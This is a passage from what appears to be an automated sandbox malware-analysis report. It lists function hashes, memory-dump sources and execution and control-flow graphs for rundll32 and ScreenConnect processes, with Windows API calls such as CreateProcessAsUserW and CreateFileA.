                                                                                                                • Source File: 00000010.00000003.1570913504.0000000004B60000.00000040.00000800.00020000.00000000.sdmp, Offset: 04B60000, based on PE: false
                                                                                                                Joe Sandbox IDA Plugin
                                                                                                                • Snapshot File: hcaresult_16_3_4b60000_rundll32.jbxd
                                                                                                                Similarity
                                                                                                                • API ID:
                                                                                                                • String ID:
                                                                                                                • API String ID:
                                                                                                                • Opcode ID: 4a13112e9a1ae090ccf4f675c8a28a4a40814d1acef53e27ac87c8da964ab2e4
                                                                                                                • Instruction ID: 41b7064aa73b75d99eca45c3b32d15db52e8c0e3e088a49dac2ebb19f69b3bf1
                                                                                                                • Opcode Fuzzy Hash: 4a13112e9a1ae090ccf4f675c8a28a4a40814d1acef53e27ac87c8da964ab2e4
                                                                                                                • Instruction Fuzzy Hash: 84F02832B04260EBFB155BA45C163BDA756DBC1718F0881EAC54B9B2D0DA6EF4439381
                                                                                                                Function 04B61440 Relevance: .0, Instructions: 46COMMON
                                                                                                                Download Yara Rule
                                                                                                                Memory Dump Source
                                                                                                                • Source File: 00000010.00000003.1570913504.0000000004B60000.00000040.00000800.00020000.00000000.sdmp, Offset: 04B60000, based on PE: false
                                                                                                                Joe Sandbox IDA Plugin
                                                                                                                • Snapshot File: hcaresult_16_3_4b60000_rundll32.jbxd
                                                                                                                Similarity
                                                                                                                • API ID:
                                                                                                                • String ID:
                                                                                                                • API String ID:
                                                                                                                • Opcode ID: 1ac287c587fb2811dd163277ab4132b35388b989a9e7adfaf1861a5118e30be1
                                                                                                                • Instruction ID: ad3faf26882e360c3cd44d8ce361fa81be5cf93feec839a4c16cb60dc600c2df
                                                                                                                • Opcode Fuzzy Hash: 1ac287c587fb2811dd163277ab4132b35388b989a9e7adfaf1861a5118e30be1
                                                                                                                • Instruction Fuzzy Hash: 58014730A253845FCB298FBD65273253FB9DFC120470004EBCD06EF542EA29DD0287A1
                                                                                                                Function 04B66A30 Relevance: .0, Instructions: 45COMMON
                                                                                                                Download Yara Rule
                                                                                                                Memory Dump Source
                                                                                                                • Source File: 00000010.00000003.1570913504.0000000004B60000.00000040.00000800.00020000.00000000.sdmp, Offset: 04B60000, based on PE: false
                                                                                                                Joe Sandbox IDA Plugin
                                                                                                                • Snapshot File: hcaresult_16_3_4b60000_rundll32.jbxd
                                                                                                                Similarity
                                                                                                                • API ID:
                                                                                                                • String ID:
                                                                                                                • API String ID:
                                                                                                                • Opcode ID: db02e4147e64f4b052e0cdcfc07d582c90d94228eb1cc1ae210b5f6f687a3d44
                                                                                                                • Instruction ID: 7cd4ca5a4f1dbd2b683460e00e1435aeb32286ade9ae19a826dc62e272a48242
                                                                                                                • Opcode Fuzzy Hash: db02e4147e64f4b052e0cdcfc07d582c90d94228eb1cc1ae210b5f6f687a3d44
                                                                                                                • Instruction Fuzzy Hash: EC018431B0021597EB14EB6AC51479E7AE69FC8214F1484ADD406B7390CE796D06CBD1
                                                                                                                Function 0302D01D Relevance: .0, Instructions: 45COMMON
                                                                                                                Download Yara Rule
                                                                                                                Memory Dump Source
                                                                                                                • Source File: 00000010.00000002.1574098892.000000000302D000.00000040.00000800.00020000.00000000.sdmp, Offset: 0302D000, based on PE: false
                                                                                                                Joe Sandbox IDA Plugin
                                                                                                                • Snapshot File: hcaresult_16_2_302d000_rundll32.jbxd
                                                                                                                Similarity
                                                                                                                • API ID:
                                                                                                                • String ID:
                                                                                                                • API String ID:
                                                                                                                • Opcode ID: cefa8be6969fbbfd64d5009ac22d52ffed67d8b13645a292207f0e0fbab73386
                                                                                                                • Instruction ID: 5f695807d316b00c8ee62dd8862a73131d36042562b6bbb4c0721f67f522bd3a
                                                                                                                • Opcode Fuzzy Hash: cefa8be6969fbbfd64d5009ac22d52ffed67d8b13645a292207f0e0fbab73386
                                                                                                                • Instruction Fuzzy Hash: 6901B1310093509BE7508A2588C4BA7BF98DB81224F08C55ADD594A252C269DC41CBB2
                                                                                                                Function 04B61829 Relevance: .0, Instructions: 43COMMON
                                                                                                                Download Yara Rule
                                                                                                                Memory Dump Source
                                                                                                                • Source File: 00000010.00000003.1570913504.0000000004B60000.00000040.00000800.00020000.00000000.sdmp, Offset: 04B60000, based on PE: false
                                                                                                                Joe Sandbox IDA Plugin
                                                                                                                • Snapshot File: hcaresult_16_3_4b60000_rundll32.jbxd
                                                                                                                Similarity
                                                                                                                • API ID:
                                                                                                                • String ID:
                                                                                                                • API String ID:
                                                                                                                • Opcode ID: b3cbd853df429f1f8042a0a3ed5cedf642b42847a287a040bd8b69ff0d1be6d9
                                                                                                                • Instruction ID: f1f2f6fe19b824e095ec4c9d0e770e7258a91ebfc70832ac87d4d3bcde26d797
                                                                                                                • Opcode Fuzzy Hash: b3cbd853df429f1f8042a0a3ed5cedf642b42847a287a040bd8b69ff0d1be6d9
                                                                                                                • Instruction Fuzzy Hash: 02018F31F0022987EB14FA6D85657EF7AB6DB88704F1085A9D116B7380CA792C028BD1
                                                                                                                Function 04B693E8 Relevance: .0, Instructions: 37COMMON
                                                                                                                Download Yara Rule
                                                                                                                Memory Dump Source
                                                                                                                • Source File: 00000010.00000003.1570913504.0000000004B60000.00000040.00000800.00020000.00000000.sdmp, Offset: 04B60000, based on PE: false
                                                                                                                Joe Sandbox IDA Plugin
                                                                                                                • Snapshot File: hcaresult_16_3_4b60000_rundll32.jbxd
                                                                                                                Similarity
                                                                                                                • API ID:
                                                                                                                • String ID:
                                                                                                                • API String ID:
                                                                                                                • Opcode ID: 15a32ac63f3904502d60b4c6ca8f4f75b7a5d248e6c09e92e4405a24cb9c3989
                                                                                                                • Instruction ID: 3f4558ed6ffb7d5c1a65b534871023b801eae80656e1ce72724711b882e7f0cb
                                                                                                                • Opcode Fuzzy Hash: 15a32ac63f3904502d60b4c6ca8f4f75b7a5d248e6c09e92e4405a24cb9c3989
                                                                                                                • Instruction Fuzzy Hash: C4F082B630521417A734991B68C0A7F768AEBC4668B04816AED0B87291DE39A84591A5
                                                                                                                Function 04B6805E Relevance: .0, Instructions: 35COMMON
                                                                                                                Download Yara Rule
                                                                                                                Memory Dump Source
                                                                                                                • Source File: 00000010.00000003.1570913504.0000000004B60000.00000040.00000800.00020000.00000000.sdmp, Offset: 04B60000, based on PE: false
                                                                                                                Joe Sandbox IDA Plugin
                                                                                                                • Snapshot File: hcaresult_16_3_4b60000_rundll32.jbxd
                                                                                                                Similarity
                                                                                                                • API ID:
                                                                                                                • String ID:
                                                                                                                • API String ID:
                                                                                                                • Opcode ID: e7812622ad329edb78f7db4dddd55d0e248a051e2e589c9cee4f7ff38381af4a
                                                                                                                • Instruction ID: b99efbae8fa08c26e697728e2b15f2eeb10d907abe59e48de3e168832436fd2c
                                                                                                                • Opcode Fuzzy Hash: e7812622ad329edb78f7db4dddd55d0e248a051e2e589c9cee4f7ff38381af4a
                                                                                                                • Instruction Fuzzy Hash: 9EF0AE313003505BA714AA6AE88195FBBDBEBC55153008439E116CF350DFA6FC0447D5
                                                                                                                Function 04B68060 Relevance: .0, Instructions: 34COMMON
                                                                                                                Download Yara Rule
                                                                                                                Memory Dump Source
                                                                                                                • Source File: 00000010.00000003.1570913504.0000000004B60000.00000040.00000800.00020000.00000000.sdmp, Offset: 04B60000, based on PE: false
                                                                                                                Joe Sandbox IDA Plugin
                                                                                                                • Snapshot File: hcaresult_16_3_4b60000_rundll32.jbxd
                                                                                                                Similarity
                                                                                                                • API ID:
                                                                                                                • String ID:
                                                                                                                • API String ID:
                                                                                                                • Opcode ID: 61e93ddf76f5f397d24e62bd65bb03907537cb83bcf3a2783514e273c264e518
                                                                                                                • Instruction ID: bd17b7fea6c09e16b59dcc2dfb9d3f0f55dea0eb3ce698d3be8af96bd43d172b
                                                                                                                • Opcode Fuzzy Hash: 61e93ddf76f5f397d24e62bd65bb03907537cb83bcf3a2783514e273c264e518
                                                                                                                • Instruction Fuzzy Hash: 8FF0A7323003505BA724AA6AE88195FBBDBEBC59153008839E11ACF350DFA6EC044BE5
                                                                                                                Function 04B62EF8 Relevance: .0, Instructions: 31COMMON
                                                                                                                Download Yara Rule
                                                                                                                Memory Dump Source
                                                                                                                • Source File: 00000010.00000003.1570913504.0000000004B60000.00000040.00000800.00020000.00000000.sdmp, Offset: 04B60000, based on PE: false
                                                                                                                Joe Sandbox IDA Plugin
                                                                                                                • Snapshot File: hcaresult_16_3_4b60000_rundll32.jbxd
                                                                                                                Similarity
                                                                                                                • API ID:
                                                                                                                • String ID:
                                                                                                                • API String ID:
                                                                                                                • Opcode ID: 7dedfe1c43ca083d44b937636d82074f2e444e2075710d9da7710ef885b0c754
                                                                                                                • Instruction ID: c8c8e48bd7b28bd7f8752f139ef0837278db80b8484aba786b614f480fc81dc7
                                                                                                                • Opcode Fuzzy Hash: 7dedfe1c43ca083d44b937636d82074f2e444e2075710d9da7710ef885b0c754
                                                                                                                • Instruction Fuzzy Hash: 68F0A0226046540AFF2C35659C8039A3B898F8265CF0000FED48B87A93D4C8A84A13A2
                                                                                                                Function 04B61431 Relevance: .0, Instructions: 31COMMON
                                                                                                                Download Yara Rule
                                                                                                                Memory Dump Source
                                                                                                                • Source File: 00000010.00000003.1570913504.0000000004B60000.00000040.00000800.00020000.00000000.sdmp, Offset: 04B60000, based on PE: false
                                                                                                                Joe Sandbox IDA Plugin
                                                                                                                • Snapshot File: hcaresult_16_3_4b60000_rundll32.jbxd
                                                                                                                Similarity
                                                                                                                • API ID:
                                                                                                                • String ID:
                                                                                                                • API String ID:
                                                                                                                • Opcode ID: a2d9e36b3babbdf91a81566de9b948d732d49b63afb198c78c4ba866533a9866
                                                                                                                • Instruction ID: 6f9550d6ef2b8940618d56dc7f5d92e87ba02047ecd1b3d8f26578413cbb3a7d
                                                                                                                • Opcode Fuzzy Hash: a2d9e36b3babbdf91a81566de9b948d732d49b63afb198c78c4ba866533a9866
                                                                                                                • Instruction Fuzzy Hash: 8DF0F630A213845FD7289FBD51273583BA6DBD060470044AA8906EF141EA29CA018BA0
                                                                                                                Function 04B6527B Relevance: .0, Instructions: 27COMMON
                                                                                                                Download Yara Rule
                                                                                                                Memory Dump Source
                                                                                                                • Source File: 00000010.00000003.1570913504.0000000004B60000.00000040.00000800.00020000.00000000.sdmp, Offset: 04B60000, based on PE: false
                                                                                                                Joe Sandbox IDA Plugin
                                                                                                                • Snapshot File: hcaresult_16_3_4b60000_rundll32.jbxd
                                                                                                                Similarity
                                                                                                                • API ID:
                                                                                                                • String ID:
                                                                                                                • API String ID:
                                                                                                                • Opcode ID: 97c8fc9e84813357b34a17397f906b01954176eebc2b338927b68d31ec2b9100
                                                                                                                • Instruction ID: 98d2e7be0f3772e763190744e2c4df989abe69fc48ec5f31e0e710c1fa253982
                                                                                                                • Opcode Fuzzy Hash: 97c8fc9e84813357b34a17397f906b01954176eebc2b338927b68d31ec2b9100
                                                                                                                • Instruction Fuzzy Hash: 5BE022363053048FC310A669E9506877F6AEBCA228F1500BEE00CDB352DE7598068390
                                                                                                                Function 04B65288 Relevance: .0, Instructions: 25COMMON
                                                                                                                Download Yara Rule
                                                                                                                Memory Dump Source
                                                                                                                • Source File: 00000010.00000003.1570913504.0000000004B60000.00000040.00000800.00020000.00000000.sdmp, Offset: 04B60000, based on PE: false
                                                                                                                Joe Sandbox IDA Plugin
                                                                                                                • Snapshot File: hcaresult_16_3_4b60000_rundll32.jbxd
                                                                                                                Similarity
                                                                                                                • API ID:
                                                                                                                • String ID:
                                                                                                                • API String ID:
                                                                                                                • Opcode ID: 5fcc36ee8f8b58a353b8fe4000ed873fb72019590f5c7851fc95baebc177f87d
                                                                                                                • Instruction ID: 56a700bc2b0e9efa4563adca3def7bd4f5b057728c3ee5d248af4a2c67a32c80
                                                                                                                • Opcode Fuzzy Hash: 5fcc36ee8f8b58a353b8fe4000ed873fb72019590f5c7851fc95baebc177f87d
                                                                                                                • Instruction Fuzzy Hash: 35E026363002040BC314965AEC50A57BBAEDBC9628F200078B00CCB301DD76AC0282E0
                                                                                                                Function 04B69498 Relevance: .0, Instructions: 23COMMON
                                                                                                                Download Yara Rule
                                                                                                                Memory Dump Source
                                                                                                                • Source File: 00000010.00000003.1570913504.0000000004B60000.00000040.00000800.00020000.00000000.sdmp, Offset: 04B60000, based on PE: false
                                                                                                                Joe Sandbox IDA Plugin
                                                                                                                • Snapshot File: hcaresult_16_3_4b60000_rundll32.jbxd
                                                                                                                Similarity
                                                                                                                • API ID:
                                                                                                                • String ID:
                                                                                                                • API String ID:
                                                                                                                • Opcode ID: 6177d35ca5176fd6c03c80150a7e989ecc225ed75b5162fa97d36c78bd642ecf
                                                                                                                • Instruction ID: 4b3fc895a6d9370d3d3397e9e6bddcc2f4ab5d407f32cbdaf738ee596d76c93c
                                                                                                                • Opcode Fuzzy Hash: 6177d35ca5176fd6c03c80150a7e989ecc225ed75b5162fa97d36c78bd642ecf
                                                                                                                • Instruction Fuzzy Hash: DBE0CD32501128ABD7342A99E4047F77B4ADB90370F108072FD0D45114CB3D5890E7E4
                                                                                                                Function 04B617F0 Relevance: .0, Instructions: 21COMMON
                                                                                                                Download Yara Rule
                                                                                                                Memory Dump Source
                                                                                                                • Source File: 00000010.00000003.1570913504.0000000004B60000.00000040.00000800.00020000.00000000.sdmp, Offset: 04B60000, based on PE: false
                                                                                                                Joe Sandbox IDA Plugin
                                                                                                                • Snapshot File: hcaresult_16_3_4b60000_rundll32.jbxd
                                                                                                                Similarity
                                                                                                                • API ID:
                                                                                                                • String ID:
                                                                                                                • API String ID:
                                                                                                                • Opcode ID: 4fe2ff79c00f5f4ba1b68e374920f75ae0a3c12e2825cc9100efed70ef60bc2b
                                                                                                                • Instruction ID: fc2e8f1442415c3573d9eb321eb13ae88c784a9084c4e2600686c81b4147fecc
                                                                                                                • Opcode Fuzzy Hash: 4fe2ff79c00f5f4ba1b68e374920f75ae0a3c12e2825cc9100efed70ef60bc2b
                                                                                                                • Instruction Fuzzy Hash: 79E02B3360D3981FD306AB55E8206D97F699B5A22430840F3E542C7361DD616C01C7D1
                                                                                                                Function 04B62959 Relevance: .0, Instructions: 20COMMON
                                                                                                                Download Yara Rule
                                                                                                                Memory Dump Source
                                                                                                                • Source File: 00000010.00000003.1570913504.0000000004B60000.00000040.00000800.00020000.00000000.sdmp, Offset: 04B60000, based on PE: false
                                                                                                                Joe Sandbox IDA Plugin
                                                                                                                • Snapshot File: hcaresult_16_3_4b60000_rundll32.jbxd
                                                                                                                Similarity
                                                                                                                • API ID:
                                                                                                                • String ID:
                                                                                                                • API String ID:
                                                                                                                • Opcode ID: 9f51124adbc61d03ff361d9a13174688f135c16789489ddc7d12daf4aeb1dbb4
                                                                                                                • Instruction ID: be65dc743347a8066e91bdd7503d09305a4edc91c9da94ca7600187453747424
                                                                                                                • Opcode Fuzzy Hash: 9f51124adbc61d03ff361d9a13174688f135c16789489ddc7d12daf4aeb1dbb4
                                                                                                                • Instruction Fuzzy Hash: 17E086B1A0B288EFC704EFA4E95159CBFB0DF42204F0001EAD80CEB241FA345F159B55
                                                                                                                Function 04B67FEB Relevance: .0, Instructions: 18COMMON
                                                                                                                Download Yara Rule
                                                                                                                Memory Dump Source
                                                                                                                • Source File: 00000010.00000003.1570913504.0000000004B60000.00000040.00000800.00020000.00000000.sdmp, Offset: 04B60000, based on PE: false
                                                                                                                Joe Sandbox IDA Plugin
                                                                                                                • Snapshot File: hcaresult_16_3_4b60000_rundll32.jbxd
                                                                                                                Similarity
                                                                                                                • API ID:
                                                                                                                • String ID:
                                                                                                                • API String ID:
                                                                                                                • Opcode ID: 9fa2aef6c24ff8f33179b7678c17d82938855c215d7d30d911fcb45ff2328606
                                                                                                                • Instruction ID: 24a0a5bfe41d01f0165f31c032d2baf563e577a545eb1e97b2913781bbd156ce
                                                                                                                • Opcode Fuzzy Hash: 9fa2aef6c24ff8f33179b7678c17d82938855c215d7d30d911fcb45ff2328606
                                                                                                                • Instruction Fuzzy Hash: CAE0C270A0130CFF9B00EFA8ED4258DBBB9EB80208B1045A9D408E7200DA30EF009B90
                                                                                                                Function 04B60C0C Relevance: .0, Instructions: 17COMMON
                                                                                                                Download Yara Rule
                                                                                                                Memory Dump Source
                                                                                                                • Source File: 00000010.00000003.1570913504.0000000004B60000.00000040.00000800.00020000.00000000.sdmp, Offset: 04B60000, based on PE: false
                                                                                                                Joe Sandbox IDA Plugin
                                                                                                                • Snapshot File: hcaresult_16_3_4b60000_rundll32.jbxd
                                                                                                                Similarity
                                                                                                                • API ID:
                                                                                                                • String ID:
                                                                                                                • API String ID:
                                                                                                                • Opcode ID: 6f4f63ae20a54afb7cb90cc958fb885dbcffcbea5d8d6ab56d5278ac4c6123ae
                                                                                                                • Instruction ID: cfeff49f9f6048ed6b10b5436d7648f159d2d105226946c1fff93f3f01c04229
                                                                                                                • Opcode Fuzzy Hash: 6f4f63ae20a54afb7cb90cc958fb885dbcffcbea5d8d6ab56d5278ac4c6123ae
                                                                                                                • Instruction Fuzzy Hash: 8AD0233271511C7B9204B659D85556E775DD7552A13148473F807D3310DD71FC0183C5
                                                                                                                Function 04B62968 Relevance: .0, Instructions: 16COMMON
                                                                                                                Download Yara Rule
                                                                                                                Memory Dump Source
                                                                                                                • Source File: 00000010.00000003.1570913504.0000000004B60000.00000040.00000800.00020000.00000000.sdmp, Offset: 04B60000, based on PE: false
                                                                                                                Joe Sandbox IDA Plugin
                                                                                                                • Snapshot File: hcaresult_16_3_4b60000_rundll32.jbxd
                                                                                                                Similarity
                                                                                                                • API ID:
                                                                                                                • String ID:
                                                                                                                • API String ID:
                                                                                                                • Opcode ID: 2d16d37c74fb632540c9c0510bad28ea501244f21844bbe1d5983c4c8fb330a8
                                                                                                                • Instruction ID: be508535a5da0281b311aeba46a3d26d8b105566fe4137512769c7f43766fdee
                                                                                                                • Opcode Fuzzy Hash: 2d16d37c74fb632540c9c0510bad28ea501244f21844bbe1d5983c4c8fb330a8
                                                                                                                • Instruction Fuzzy Hash: B3D05B7490224CEFCB00EFA4D95155DB7F5DF85108F1045E9D408D7201FA31AF109B95
                                                                                                                Function 04B67FF0 Relevance: .0, Instructions: 16COMMON
                                                                                                                Download Yara Rule
                                                                                                                Memory Dump Source
                                                                                                                • Source File: 00000010.00000003.1570913504.0000000004B60000.00000040.00000800.00020000.00000000.sdmp, Offset: 04B60000, based on PE: false
                                                                                                                Joe Sandbox IDA Plugin
                                                                                                                • Snapshot File: hcaresult_16_3_4b60000_rundll32.jbxd
                                                                                                                Similarity
                                                                                                                • API ID:
                                                                                                                • String ID:
                                                                                                                • API String ID:
                                                                                                                • Opcode ID: 49d5d54e8711a1f3e48769bababf261d917877a291bafba9c2b1b69cd18f08b5
                                                                                                                • Instruction ID: 5dac105ae57e7292d98d44cc63d6a4cc600a544ecabbd4057e4befae035d3ca1
                                                                                                                • Opcode Fuzzy Hash: 49d5d54e8711a1f3e48769bababf261d917877a291bafba9c2b1b69cd18f08b5
                                                                                                                • Instruction Fuzzy Hash: F2D05B74A0130CFFCB00EFA8E94159DBBF9EB45205B1045D9D408D7200DE31AF009B91
                                                                                                                Function 04B676C9 Relevance: .0, Instructions: 12COMMON
                                                                                                                Download Yara Rule
                                                                                                                Memory Dump Source
                                                                                                                • Source File: 00000010.00000003.1570913504.0000000004B60000.00000040.00000800.00020000.00000000.sdmp, Offset: 04B60000, based on PE: false
                                                                                                                Joe Sandbox IDA Plugin
                                                                                                                • Snapshot File: hcaresult_16_3_4b60000_rundll32.jbxd
                                                                                                                Similarity
                                                                                                                • API ID:
                                                                                                                • String ID:
                                                                                                                • API String ID:
                                                                                                                • Opcode ID: 21626fc7ede09297e1c545f277b1c2c82baac0a491bc551d3c93b450d88183d4
                                                                                                                • Instruction ID: 397d71d5ca3e456f73a29cd7d3dd401cca17988231a2d806b514b065264ff314
                                                                                                                • Opcode Fuzzy Hash: 21626fc7ede09297e1c545f277b1c2c82baac0a491bc551d3c93b450d88183d4
                                                                                                                • Instruction Fuzzy Hash: D7C08C3130412007D248C20CA690644F7D2CFC8618318C8BEED0DC73A6CA32EC03C384
                                                                                                                Function 04B60440 Relevance: .0, Instructions: 10COMMON
                                                                                                                Download Yara Rule
                                                                                                                Memory Dump Source
                                                                                                                • Source File: 00000010.00000003.1570913504.0000000004B60000.00000040.00000800.00020000.00000000.sdmp, Offset: 04B60000, based on PE: false
                                                                                                                Joe Sandbox IDA Plugin
                                                                                                                • Snapshot File: hcaresult_16_3_4b60000_rundll32.jbxd
                                                                                                                Similarity
                                                                                                                • API ID:
                                                                                                                • String ID:
                                                                                                                • API String ID:
                                                                                                                • Opcode ID: c1851971fefe3b4be5e1d196619afeb2586c37f3ae38869e90e2bf613558e53b
                                                                                                                • Instruction ID: 1d8cbd54a1aee79baa5030e2f2d7a66524bd80132f9768ea4f12270c041cb505
                                                                                                                • Opcode Fuzzy Hash: c1851971fefe3b4be5e1d196619afeb2586c37f3ae38869e90e2bf613558e53b
                                                                                                                • Instruction Fuzzy Hash: B2C08CB3E0022487CA30C90809802EA7330EF3071AF808186C58508000E2318003C980

                                                                                                                Execution Graph

                                                                                                                Execution Coverage:6.4%
                                                                                                                Dynamic/Decrypted Code Coverage:100%
                                                                                                                Signature Coverage:17.4%
                                                                                                                Total number of Nodes:46
                                                                                                                Total number of Limit Nodes:1
                                                                                                                execution_graph 52050 5ea0448 52052 5ea044d 52050->52052 52051 5ea0e56 52051->52051 52055 5ea2853 52052->52055 52063 5ea28b0 52052->52063 52056 5ea285f 52055->52056 52058 5ea28f7 52056->52058 52071 5ea2a0f 52056->52071 52075 5ea2a20 52056->52075 52057 5ea2920 52061 5ea2a0f WaitNamedPipeW 52057->52061 52062 5ea2a20 WaitNamedPipeW 52057->52062 52058->52051 52061->52058 52062->52058 52064 5ea28ba 52063->52064 52066 5ea28f7 52064->52066 52067 5ea2a0f WaitNamedPipeW 52064->52067 52068 5ea2a20 WaitNamedPipeW 52064->52068 52065 5ea2920 52069 5ea2a0f WaitNamedPipeW 52065->52069 52070 5ea2a20 WaitNamedPipeW 52065->52070 52066->52051 52067->52065 52068->52065 52069->52066 52070->52066 52073 5ea2a2d 52071->52073 52074 5ea2a64 52073->52074 52079 5ea2478 52073->52079 52074->52057 52078 5ea2a2d 52075->52078 52076 5ea2478 WaitNamedPipeW 52076->52078 52077 5ea2a64 52077->52057 52078->52076 52078->52077 52080 5ea2a88 WaitNamedPipeW 52079->52080 52082 5ea2b04 52080->52082 52082->52073 52046 5eacee0 52047 5eacf3a 52046->52047 52048 5eacf99 RegDisablePredefinedCache 52047->52048 52049 5eacf7c 52047->52049 52048->52049 52083 5ea3b80 52085 5ea3bde 52083->52085 52084 5ea3c53 CreateFileA 52086 5ea3cb5 52084->52086 52085->52084 52085->52085 52087 5ea2280 52088 5ea22d3 CreateProcessAsUserW 52087->52088 52090 5ea2364 52088->52090 52091 20e36b0 52092 20e36c6 52091->52092 52095 20e4c6c 52092->52095 52093 20e36cc 52096 20e4c90 52095->52096 52097 20e4d1d RtlGetVersion 52096->52097 52099 20e4cc6 52096->52099 52098 20e4dda 52097->52098 52098->52093 52099->52093

                                                                                                                Executed Functions

                                                                                                                Function 020E4C6C Relevance: 1.6, APIs: 1, Instructions: 106COMMON
                                                                                                                Download Yara Rule

                                                                                                                Control-flow Graph

                                                                                                                • Executed
                                                                                                                • Not Executed
                                                                                                                control_flow_graph 430 20e4c6c-20e4cb3 435 20e4cb5-20e4cc4 call 20e4848 430->435 436 20e4d02-20e4d08 430->436 439 20e4d09-20e4dd8 RtlGetVersion 435->439 440 20e4cc6-20e4ccb 435->440 445 20e4dda-20e4de0 439->445 446 20e4de1-20e4e24 439->446 452 20e4cce call 20e52e8 440->452 453 20e4cce call 20e52f8 440->453 441 20e4cd4 441->436 445->446 450 20e4e2b-20e4e32 446->450 451 20e4e26 446->451 451->450 452->441 453->441
                                                                                                                APIs
                                                                                                                • RtlGetVersion.NTDLL(0000009C), ref: 020E4DBE
                                                                                                                Memory Dump Source
                                                                                                                • Source File: 00000013.00000002.2471148748.00000000020E0000.00000040.00000800.00020000.00000000.sdmp, Offset: 020E0000, based on PE: false
                                                                                                                Joe Sandbox IDA Plugin
                                                                                                                • Snapshot File: hcaresult_19_2_20e0000_ScreenConnect.jbxd
                                                                                                                Similarity
                                                                                                                • API ID: Version
                                                                                                                • String ID:
                                                                                                                • API String ID: 1889659487-0
                                                                                                                • Opcode ID: 1c6f41356a345e041f368c39630cf62b86a7680f0e1cc63a0996134fede3d401
                                                                                                                • Instruction ID: ce7f2ecf5ad18aa84fd8231089c7a626c4715c7d828752a70634d52a39550e0e
                                                                                                                • Opcode Fuzzy Hash: 1c6f41356a345e041f368c39630cf62b86a7680f0e1cc63a0996134fede3d401
                                                                                                                • Instruction Fuzzy Hash: 5041AC70A043589FEF619F68D8047AEBBB5BF44304F0085A9D559AB280DB755D84CF92
                                                                                                                Function 05EA2280 Relevance: 1.6, APIs: 1, Instructions: 93processCOMMON
                                                                                                                Download Yara Rule

                                                                                                                Control-flow Graph

                                                                                                                • Executed
                                                                                                                • Not Executed
                                                                                                                control_flow_graph 465 5ea2280-5ea22d1 466 5ea22dc-5ea22e0 465->466 467 5ea22d3-5ea22d9 465->467 468 5ea22e8-5ea22fd 466->468 469 5ea22e2-5ea22e5 466->469 467->466 470 5ea230b-5ea2362 CreateProcessAsUserW 468->470 471 5ea22ff-5ea2308 468->471 469->468 472 5ea236b-5ea2393 470->472 473 5ea2364-5ea236a 470->473 471->470 473->472
                                                                                                                APIs
                                                                                                                • CreateProcessAsUserW.KERNEL32(?,00000000,00000000,?,?,?,?,?,00000000,?,?), ref: 05EA234F
                                                                                                                Memory Dump Source
                                                                                                                • Source File: 00000013.00000002.2504003788.0000000005EA0000.00000040.00000800.00020000.00000000.sdmp, Offset: 05EA0000, based on PE: false
                                                                                                                Joe Sandbox IDA Plugin
                                                                                                                • Snapshot File: hcaresult_19_2_5ea0000_ScreenConnect.jbxd
                                                                                                                Similarity
                                                                                                                • API ID: CreateProcessUser
                                                                                                                • String ID:
                                                                                                                • API String ID: 2217836671-0
                                                                                                                • Opcode ID: 0e7317077818fcf6c598ee7fa31e4dcd38cbb9074ff5d36d0c5b621e2d7e93a0
                                                                                                                • Instruction ID: d70d40c922468755f9ef093787b7f44914b819aaf8434230c37ba6d640a1b6f8
                                                                                                                • Opcode Fuzzy Hash: 0e7317077818fcf6c598ee7fa31e4dcd38cbb9074ff5d36d0c5b621e2d7e93a0
                                                                                                                • Instruction Fuzzy Hash: 68414676900209DFDF10CFA9C880ADEBBF2FF48310F05852AE958AB250D374A955CF50
                                                                                                                Function 048755C9 Relevance: 2.8, Strings: 2, Instructions: 266COMMON
                                                                                                                Download Yara Rule

                                                                                                                Control-flow Graph

                                                                                                                • Executed
                                                                                                                • Not Executed
                                                                                                                control_flow_graph 80 48755c9-4875620 85 4875622-4875636 80->85 86 487565a-4875689 80->86 89 487563f-487564f 85->89 90 4875638 85->90 95 48756cc-48756f3 call 48746e0 86->95 96 487568b-48756a1 86->96 89->86 90->89 157 48756f6 call 4875a40 95->157 158 48756f6 call 4875a68 95->158 100 48756a3 96->100 101 48756aa-48756ca 96->101 100->101 101->95 106 48756f8-4875709 107 4875764-4875773 106->107 108 487570b-4875725 106->108 109 4875775-4875789 107->109 110 48757b8-48757df 107->110 118 4875956 108->118 119 487572b-4875753 108->119 114 4875792-48757b6 109->114 115 487578b 109->115 120 48757e1-4875817 110->120 121 487581a-487583e 110->121 114->110 115->114 123 487595b-487596c 118->123 159 4875755 call 4876e21 119->159 160 4875755 call 4876e30 119->160 120->121 129 4875840-4875877 121->129 130 4875879-48758bf 121->130 129->130 144 48758c5-48758df 130->144 145 4875941-4875954 130->145 139 487575b-4875762 139->107 139->108 144->118 148 48758e1-4875912 144->148 145->123 153 4875914-4875930 148->153 154 4875938-487593f 148->154 161 4875932 call 4876e21 153->161 162 4875932 call 4876e30 153->162 154->144 154->145 157->106 158->106 159->139 160->139 161->154 162->154
                                                                                                                Strings
                                                                                                                Memory Dump Source
                                                                                                                • Source File: 00000013.00000002.2491028905.0000000004870000.00000040.00000800.00020000.00000000.sdmp, Offset: 04870000, based on PE: false
                                                                                                                Joe Sandbox IDA Plugin
                                                                                                                • Snapshot File: hcaresult_19_2_4870000_ScreenConnect.jbxd
                                                                                                                Similarity
                                                                                                                • API ID:
                                                                                                                • String ID: 0Zr$[!
                                                                                                                • API String ID: 0-758795276
                                                                                                                • Opcode ID: c015c0a4caa0a2243219e9c418db46b037ba37ad84557e9cb50556543b8fea92
                                                                                                                • Instruction ID: f8762ae10a3dda3522757015edbffb8aac611a419657f9b0f541dd4516ff3d25
                                                                                                                • Opcode Fuzzy Hash: c015c0a4caa0a2243219e9c418db46b037ba37ad84557e9cb50556543b8fea92
                                                                                                                • Instruction Fuzzy Hash: A0B17B34A01305AFEB05EF69E85099EB7F2EF84758B14CA29D506EB754DF31EC068B81
                                                                                                                Function 05EA3B75 Relevance: 1.6, APIs: 1, Instructions: 118fileCOMMON
                                                                                                                Download Yara Rule

                                                                                                                Control-flow Graph

                                                                                                                • Executed
                                                                                                                • Not Executed
                                                                                                                control_flow_graph 387 5ea3b75-5ea3bdc 389 5ea3bde-5ea3c03 387->389 390 5ea3c30-5ea3cb3 CreateFileA 387->390 389->390 393 5ea3c05-5ea3c07 389->393 397 5ea3cbc-5ea3cfa 390->397 398 5ea3cb5-5ea3cbb 390->398 394 5ea3c2a-5ea3c2d 393->394 395 5ea3c09-5ea3c13 393->395 394->390 399 5ea3c17-5ea3c26 395->399 400 5ea3c15 395->400 405 5ea3d0a 397->405 406 5ea3cfc-5ea3d00 397->406 398->397 399->399 401 5ea3c28 399->401 400->399 401->394 408 5ea3d0b 405->408 406->405 407 5ea3d02 406->407 407->405 408->408
